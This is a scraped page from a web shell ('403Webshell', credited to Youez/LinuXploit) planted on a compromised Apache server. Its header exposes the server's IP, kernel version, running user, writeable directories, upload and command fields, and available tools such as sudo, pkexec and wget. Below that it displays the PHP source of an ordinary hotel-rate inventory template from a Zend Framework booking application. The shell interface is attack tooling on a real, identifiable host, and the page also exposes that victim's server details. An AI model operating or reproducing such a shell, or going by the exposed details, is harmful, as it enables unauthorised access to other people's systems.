403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/accommodation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/accommodation/inventoryold.phtml
<?php
//echo '<pre>';print_r($this->paginator);echo '</pre>';
?>
<!--Page main section start-->
<section id="min-wrapper" class="active">
    <div id="main-content">
        <div class="container-fluid">
            <div class="row">
                <div class="col-md-12">
                    <!--Top header start-->

                    <!--Top breadcrumb start -->
                    <ol class="breadcrumb">
                        <li><a href="#"><i class="fa fa-home"></i></a></li>
                        <li class="">Accommodation</li>
                        <li class="">Inventory Manage</li>
                        <li class="active">Hotel Rate List</li>
                    </ol>
                    <!--Top breadcrumb start -->
                </div>

                <!--for display message div-->
                <?php if (count($this->messages)) { ?>
                    <div class="col-md-12" id="message_hotel_div"> 
                        <div class="alert alert-success">
                            <button aria-hidden="true" id="hideHotelMessage" class="close" type="button">×</button>
                            <?php foreach ($this->messages as $message) { ?>
                                <span id="success-message-box"><?php echo $this->escape($message); ?></span>
                            <?php } ?>    
                        </div>   
                    </div> 
                <?php } ?>

            </div>

            <script type="text/javascript">
                $("#hideHotelMessage").click(function () {
                    $("#message_hotel_div").hide();
                });
            </script>    

            <!-- Main Content Element  Start-->
            <div class="row">


                <div class="col-md-12">

                    <?php //echo "<pre>"; print_r($this->searchArr); ?>

                    <div class="panel panel-primary"> 
                        <div class="panel-heading minus">
                            <h3 class="panel-title" onclick="$('.minus').trigger('click')"><i class="fa fa-filter"></i> Filter By </h3>
                            <ul class="panel-control">
                                <li><a class="minus active" href="javascript:void(0)"><i class="fa fa-angle-down large"></i></a></li>
                            </ul>
                        </div>                               
                        <div class="panel-body" style="display:none;">
                            <form name="search" id="search" class="ls_form" role="form" method="post" action="<?php echo $this->baseUrl('accommodation/inventory'); ?>">
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label>Destination</label>
                                        <select id="DestinationId" name="DestinationId" class="demo-default select-country" placeholder="Select Destination" onchange="getSearchInventoryHotel(this.value);">
                                            <option value="0">Select Destination </option>
                                            <?php foreach ($this->cityList as $city) { ?>
                                                <option value="<?php echo $city['CityId']; ?>" <?php if (isset($this->searchArr['DestinationId']) && ($city['CityId'] == $this->searchArr['DestinationId'])) {
                                                echo "Selected";
                                            } ?>><?php echo $city['Title']; ?></option>
<?php } ?> 
                                        </select> 
                                    </div>
                                </div>

                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label>Hotel Name</label> <br/>
                                        <div id="select_hotel">
                                            <select id="hotelId" name="hotelId" class="demo-default select-country" placeholder="Select Hotel">
                                                <option value="0">Select Hotel </option>
                                                <?php foreach ($this->inventoryHotelList as $inventory_hotel) { ?>
                                                    <option value="<?php echo $inventory_hotel['hotelId']; ?>" <?php if (isset($this->searchArr['hotelId']) && ($inventory_hotel['hotelId'] == $this->searchArr['hotelId'])) {
                                                    echo "Selected";
                                                } ?>><?php echo $inventory_hotel['Title']; ?></option>
<?php } ?> 
                                            </select> 
                                        </div>    
                                    </div>
                                </div>



                                <?php
                                $arrStarRatings = Zend_Controller_Action_HelperBroker::getStaticHelper('Hotel')->getStarRatings();
                                ?>
                                <div class="col-md-2">
                                    <div class="form-group">
                                        <label>Star Rating</label>
                                        <select id="rating" name="rating" class="demo-default select-country" placeholder="Select">
                                            <!--                                                <option value="0">Select Star </option>-->
                                            <?php
                                            if (count($arrStarRatings) > 0) {
                                                while (list($key, $value) = each($arrStarRatings)) {
                                                    ?>
                                                    <option value="<?php echo $key; ?>" <?php if ((isset($this->searchArr['rating']) && ($key == $this->searchArr['rating']))) {
                                                echo "Selected";
                                            } ?>><?php echo $value; ?></option>
                                        <?php
                                    }
                                }
                                ?>
                                        </select>                     
                                    </div>
                                </div>



                                <div class="col-md-12">
                                    <div class="form-group form-group1 flexipadding text-right">
                                        <button type="button" class="btn btn-primarygray" onclick="window.location.href = '<?php echo $this->baseUrl('accommodation/inventory'); ?>'">Reset</button>
                                        <button type="submit" class="btn btn-primary"><i class="fa fa-search"></i> Filter</button>
                                    </div>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>



                <div class="col-md-12">
                    <div class="leadeBorder">

                        <div class="panel-body">
                            <div class="form-group form-group1 text-right">
                              <!--<a href="<?php echo $this->baseUrl('hotel/manage'); ?>" style="float:left;" class="btn btn-default btn-sm"><i class="fa fa-fw fa-arrows"></i> Rate Expired (10)</a>
                              <a href="<?php echo $this->baseUrl('hotel/manage'); ?>" style="float:left; margin-left:5px;" class="btn btn-default btn-sm"><i class="fa fa-fw fa-arrows"></i> Promotion (20)</a>-->
                                <a href="<?php echo $this->baseUrl('accommodation/manage'); ?>" class="btn btn-default btn-sm"><i class="fa fa-fw fa-arrows"></i> My Hotels</a>
                                <a href="<?php echo $this->baseUrl('accommodation/add-hotels'); ?>" class="btn btn-default btn-sm"><i class="fa fa-fw fa-arrows"></i> Add Hotel</a>
                                <!--<a href="<?php echo $this->baseUrl('accommodation/inventory'); ?>" class="btn btn-warning btn-sm"><i class="fa fa-fw fa-arrows"></i> Hotel Rates List</a>-->
                                <a href="<?php echo $this->baseUrl('accommodation/rate-card'); ?>" class="btn btn-warning btn-sm"><i class="fa fa-fw fa-arrows"></i> Add Hotel Rates</a>
                            </div>                      

                            <div class="panel-body table-responsive no-padding">

                                <table class="table table-bordered table-striped table-bottomless" >
                                    <thead>
                                        <tr  class="alert alert-success">
                                            <th>Hotel Name</th>
                                            <th>Country</th>
                                            <th>City</th>
                                            <th>Hotel Source</th>
                                            <th>From Date</th>
                                            <th>To Date</th>
                                            <th>Room/Meal Type</th>
                                            <th>Supplier </th>
                                            <th>Last Update </th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    
                                    <tbody>
                                        <?php
                                       // echo '<pre>';print_r($this->paginator);die;
                                        if (count($this->paginator) > 0) {
                                            foreach ($this->paginator as $val) {
                                                $ICSourceSysId = in_array($val['ICSourceSysId'], array(3, 4)) ? "API" : "Internal";
                                        ?>
                                        <tr  class="alert alert-success">
                                            <td><?=$val['hotelname']?> </td>
                                            <td><?=$val['country_title']?></td>
                                            <td><?=$val['City_title']?></td>
                                            <td><?=$ICSourceSysId?></td>
                                            <td nowrap><?=date('d-M-Y',strtotime($val['FromDate']))?> </td>
                                            <td nowrap><?=date('d-M-Y',strtotime($val['ToDate']))?></td>
                                            <td>
                                                <?php $EconomyType = array(); $econoMealT = array();
                                                foreach ($val['RoomArray'] as $key => $value) {
                                                    $EconomyType[] = $key;
                                                     $roomtype = Zend_Controller_Action_HelperBroker::getStaticHelper('Hotel')->getRoomTypeWhereRate($key);
                                                    
                                                    $MealPlanType = array();$MealPlanTypeId = array();
                                                    foreach ($value as $meal) {
                                                        $MealPlanTypeId[] = $meal['MealPlanType'];
                                                      $MealPlanType[] = Zend_Controller_Action_HelperBroker::getStaticHelper('Hotel')->getMealName($meal['MealPlanType']);
                                                    
                                                        
                                                    }
                                                    
                                                    $econoMealT[] = implode(',',$MealPlanTypeId);
                                                    echo $roomtype.' - '.implode(',',$MealPlanType).'<br>';
                                                    
                                                }
                                                ?>
                                                <?php 
                                                    $finalMealPlanim = implode(',',$econoMealT);
                                                    $finalMealPlan = implode(',',array_unique(explode(',',$finalMealPlanim)));
                                                    $finalEconoType = implode(',',$EconomyType);
                                                    //echo $val['XRefItemSysId'];
                                                ?>
                                                
                                            </td>
                                            <td>
                                                <a href="javascript:void(0);" data-toggle="modal" data-target="#myModactpopup" title="View Supplier Details" onclick="GetSupplierInfo('<?php echo $val['SupplierSysId']; ?>');"><?php echo $val['SupplierName']; ?></a> 
                                            </td>
                                            <td><?=date('d-M-Y h:i:s',strtotime($val['CreateDate']['date']))?></td>
                                            <td nowrap>
                                                <a class="btn btn-xs btn-warning tooltipLink" onclick="NewRedirect('<?=$val['hotelId']?>','<?=$val['ContSysId']?>','<?=$val['SupplierSysId']?>','<?=date('d-m-Y',strtotime($val['FromDate']))?>','<?=date('d-m-Y',strtotime($val['ToDate']))?>')" href="javascript:void(0);"  title="View and update rate"><i class="fa fa-tasks" aria-hidden="true"></i></a>
                                                <a class="btn btn-xs ls-green-btn tooltipLink" href="<?php echo $this->baseUrl('accommodation/rate-card/id'); ?>/<?php echo !empty($val['hotelId'])?$val['hotelId']:''; ?>"  title="Add new rate"><i class="fa fa-money" aria-hidden="true"></i></a>
                                                
                                                
                                                
                                                <!--<a class="btn btn-xs btn-warning tooltipLink" href="<?php echo $this->baseUrl('accommodation/inventory/id/' . $val['hotelId'].'/SessionKey/'.$val['XRateSessionKey'].'/XRefItemSysId/'.$val['XRefItemSysId']. '/EconomyType/' . $finalEconoType .'/MealPlanType/'.$finalMealPlan.'/SupplierSysId/'.$val['SupplierSysId'].'/checkroom/true'); ?>" arpId="<?php echo $values['XRateSessionKey']; ?>" title="update"><i class="fa fa-pencil-square-o"></i></a>-->
                                            </td>
                                        </tr>
                                        <?php } }else{echo '<tr  class="alert alert-success"><td colspan="10">no record found!</td></tr>';} ?>
                                    </tbody>
                                </table>
                                
                                

                            </div>
                            <!--Table Wrapper Finish-->


                            <div class="panel-box clearfix">
                                <?php if (count($this->paginators) > 0) { ?>
                                    <?php
                                    echo $this->paginationControl($this->paginators, 'Sliding', 'hotel_inventory_pagination.phtml', array(
                                        'DestinationId' => @$this->searchArr['DestinationId'],
                                        'hotelId' => @$this->searchArr['hotelId'],
                                        'supplierId' => @$this->searchArr['supplierId'],
                                        'rating' => @$this->searchArr['rating']
                                    ));
                                    ?>
                                <?php } ?> 
                            </div>   






                        </div>
                    </div>
                </div>

            </div>
            <div class="modal fade" id="myModactpopup" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
            </div>
            <!-- Main Content Element  End-->
        </div>
    </div>
    <?php
    $strToDates = date("d-m-Y", strtotime("+6 day", strtotime(date("Y/m/d"))));
    ?>
    <form method="post" id="NewRedirect" target="_blank" action="<?php echo $this->baseUrl('accommodation/inventorynew'); ?>">
        <input type="hidden" name="ContId" value="" id="CountryId">
        <input type="hidden" name="hotel_id" value="" id="hotel_ids">
        <input type="hidden" name="SupplierSysId" value="" id="SupplierSysIds">
        <input type="hidden" name="fromdate" value="<?=date("d-m-Y")?>" id="from_date">
        <input type="hidden" name="todate" value="<?=$strToDates?>" id="to_date">
        <input type="hidden" name="ratetype" value="2" id="ratetype">
        <input type="hidden" name="posteddata">
        <input type="hidden" name="ToDateLast" id="ToDateLast">
    </form>
<?php echo $this->render('copyrightfooter.phtml'); ?>
</section>
<!--Page main section end -->
<?php include_once 'application/views/scripts/newfooter.phtml'; ?>
<script type="text/javascript" src="<?php echo $this->baseUrl('public/assets/js/jquery.validate.min.js'); ?>"></script>
<script src="<?php echo $this->baseUrl('public/js/hotel/newinventory.js'); ?>"></script>

<script type="text/javascript">
  function GetSupplierInfo(suppliersysID) {
    $.ajax({
        url: '/package/supplierinfo/',
        data: {suppliersysID: suppliersysID},
        type: 'POST',
        dataType: 'html',
        error: function () {
        },
        beforeSend: function () {
            var image = "<div class= 'col-md-12' style='text-align: center; top: 150px;'><img id='imgId' src='<?php echo $this->baseUrl('public/images/load3.gif'); ?>'></div>";
            $("#myModactpopup").html(image);
        },
        success: function (response) {
            $("#myModactpopup").show();
            $("#myModactpopup").html(response);

            //alert(response);
        }
    });
}
function closepopup() {
    $("#myModactpopup").hide();
}
</script>    

Youez - 2016 - github.com/yon3zu
LinuXploit